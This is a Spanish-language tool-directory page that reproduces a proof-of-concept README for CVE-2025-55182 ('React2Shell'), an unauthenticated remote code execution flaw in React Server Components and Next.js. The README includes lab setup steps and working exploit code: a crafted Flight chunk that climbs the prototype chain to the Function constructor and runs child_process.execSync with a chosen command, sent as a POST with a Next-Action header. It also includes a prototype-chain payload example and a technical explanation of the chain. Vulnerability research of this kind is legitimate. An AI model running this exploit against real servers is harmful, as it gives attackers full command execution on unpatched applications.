Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-poc — Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight. | Kitploit
Herramientas/GitHubGitHub/monarchfish/cve-2025-55182-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight.

Ver Repositorio
18hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Información Básica

CVE-2025-55182 es una de las vulnerabilidades de framework web más extendidas en 2025. React Server Components (RSC) ya es la arquitectura dominante en aplicaciones Next.js modernas, y una gran cantidad de proyectos estándar creados con create-next-app están afectados, sin necesidad de código personalizado para su explotación.

ElementoContenido
ID CVECVE-2025-55182
También conocido comoReact2Shell
Tipo de vulnerabilidadEjecución remota de código no autenticada (Unauthenticated RCE); CWE-502 Deserialización de datos no confiables (Deserialization of Untrusted Data) [3]
Puntuación CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Paquetes afectadosreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versiones afectadasReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 en adelante, 15.x, 16.x
Complejidad del ataqueMuy baja (una única petición HTTP POST)
¿Requiere autenticación?No

Proceso de creación del PoC

1. Crear la aplicación con la versión oficial

Usar una versión vulnerable (16.0.6) para crear la aplicación Next:

pnpm create [email protected] next-app --yes

2. Crear una Server Action de prueba

  1. En next-app/app/, crear actions.ts marcado como Server Action:

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. En la página principal (por ejemplo, app/page.tsx), añadir un formulario cuyo action apunte a testAction e incluya al menos un campo (por ejemplo, un hidden input).

    Next.js generará en el HTML de ese formulario un hidden input con nombre $ACTION_ID_<40 caracteres hex>; el PoC extraerá este ID de la página principal mediante una expresión regular.

3. Crear un entorno PoC contenerizado seguro

El proyecto incluye next-app/Dockerfile y docker-compose.yml que se pueden usar para construir y ejecutar la aplicación Next, siguiendo el ejemplo oficial [8] para su redacción.

Ejecutar en la raíz del proyecto:

docker compose up --build -d

La aplicación Next estará accesible en http://localhost:3000.

Una vez finalizado el PoC, eliminar completamente el entorno Docker:

docker compose down -v

Pasos de Explotación

Paso 1: Obtener el ACTION_ID

Al ejecutar el PoC, el script obtiene la página principal y extrae el ID mediante la expresión regular \$ACTION_ID_([a-f0-9]{40})/. Ejemplo:

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Paso 2: Ejecutar la explotación

Instalar dependencias en la raíz del proyecto y ejecutar:

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Fragmento clave del código:

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // manejar timeout o error
}

Ejemplo para escribir un archivo en el host objetivo:

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Paso 3: Observar los resultados

  • Si la RCE tiene éxito, el servidor puede quedarse bloqueado o agotar el tiempo de espera tras ejecutar el comando; en ese caso la petición dará timeout, lo cual es esperado.
  • Verificar en el host objetivo que el comando se haya ejecutado (por ejemplo, comprobando archivos, procesos).
  • Se puede acceder al contenedor mediante docker compose exec o a través de Docker Desktop.

Explicación Técnica

Ubicación de la Vulnerabilidad

La vulnerabilidad reside en el mecanismo de deserialización del protocolo Flight de React (RSC Flight Deserializer). Este mecanismo se encarga de transmitir el estado de los componentes React entre servidor y cliente, pero su flujo de procesamiento presenta un grave problema de límite de confianza.

El protocolo React Flight es el formato de intercambio (wire format) que React utiliza para Server Components y Server Actions: serializa el árbol de componentes, parámetros de funciones, etc., en un flujo de chunks representado en JSON, y establece referencias entre chunks mediante $número, $número:clave, permitiendo al servidor reconstruir valores completos de JavaScript.

Cadena de Explotación (Exploit Chain)

Atacante envía HTTP POST malicioso
        ↓
[Fase 1] Crear un objeto con autorreferencia cíclica (Self-referential loop)
        ↓
[Fase 2] Engañar al motor JavaScript para que llame a una función controlada por el atacante
        ↓
[Fase 3] Inyectar datos maliciosos para desencadenar el flujo de inicialización de Flight
        ↓
[Fase 4] Mediante el Blob Handler llamar al constructor Function
        ↓
Ejecución de JavaScript arbitrario en el servidor (RCE)

React Server y Formato de Transmisión

Las Server Functions de React (en Next.js, Server Actions) serializan los datos que el frontend envía al backend mediante el protocolo React Flight en "trozos" (chunks), y luego los envían como datos de formulario (form data).

Las ventajas de este diseño incluyen:

  • Transmisión en streaming: los chunks se pueden generar y analizar secuencialmente, sin necesidad de esperar la carga completa, beneficiando la latencia y el control de memoria.
  • Desduplicación y compartición: un mismo dato se serializa una sola vez y se referencia desde múltiples lugares, reduciendo duplicados y volumen de transmisión.
  • Compatibilidad con POST de formularios: los chunks se envían como campos multipart, sin necesidad de un protocolo binario personalizado, facilitando el uso de CDN, proxies y depuración.
  • Expresión de estructuras complejas: soporta objetos anidados y estructuras gráficas mediante referencias, satisfaciendo los tipos ricos necesarios para RPC.

Los chunks pueden referenciarse entre sí, por ejemplo:

  • chunk 0: ["$1"] (referencia al bloque 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (referencia a fruitName del bloque 2)
  • chunk 2: {"fruitName":"cherry"}

El servidor lo interpreta como: { object: 'fruit', name: 'cherry' }. Es decir, el protocolo permite usar $número:clave para apuntar a propiedades de otros chunks y luego combinarlos en el objeto JavaScript final.

Causa de la Vulnerabilidad

En la implementación anterior a la corrección, al analizar estas referencias no se verificaba estrictamente si la clave realmente existía en el objeto mismo, por lo que un atacante podía leer propiedades de la cadena de prototipos (prototype) del objeto mediante referencias.

Por ejemplo, se podía construir el siguiente payload:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}
Descargar herramienta